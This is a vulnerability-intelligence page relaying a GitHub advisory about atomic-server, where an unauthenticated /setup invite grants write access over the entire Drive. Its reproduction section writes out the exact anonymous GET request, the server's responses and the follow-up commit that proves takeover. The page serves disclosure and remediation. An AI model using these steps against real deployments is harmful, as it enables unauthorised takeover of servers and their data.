llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · atomic-server

GHSA-PFWX-XJP4-QXCJ

Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive

Sin parche publicado
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición1 dDesde la divulgación, 18 nov 2026, 3:42 p. m.
Detección21 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
03:42 p. m.
04:00 p. m.
02:44 a. m.
03:42 p. m.
12:27 a. m.
09:13 a. m.
05:58 p. m.
02:44 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-PFWX-XJP4-QXCJ divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

atomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption ignores the redeemer's identity (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An unauthenticated attacker who sends `GET /setup?public-key=<attacker_key>` has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.

Severity

Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.

Affected component

  • `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.
  • `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.

Steps to Reproduce

Environment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.

  1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.
  1. Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json

Response `200 OK` returns a `Redirect` confirming the new agent:

{
  "https://atomicdata.dev/properties/invite/redirectAgent":
      "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
  "https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
  1. `GET /` shows the attacker is now in the Drive's `write` array:
"https://atomicdata.dev/properties/write": [
  "http://localhost:9883/agents/+/KwsAmyzc7S/...",                        // legit root
  "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM="  // ATTACKER
]
  1. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.

Expected: `/setup` must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.

Impact

Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)

Remediation

  • Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`.
  • Invalidate `/setup` after first use with an atomic `usagesLeft` decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.
  • Fix the inverted invite-expiry check in `invite.rs` (`if expires > now { reject }` is backwards, so expired invites remain redeemable and valid ones are rejected).
Versiones

Rangos afectados

Afectada Corregida Última
atomic-server≥ 0.29.0 ≤ 0.40.1
0.29.0
0.40.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.ioatomic-server
Sin parche — — 0.40.1 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-69157
Otrahttps://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj
Otrahttps://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969
Otrahttps://github.com/ontola/atomic-server

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.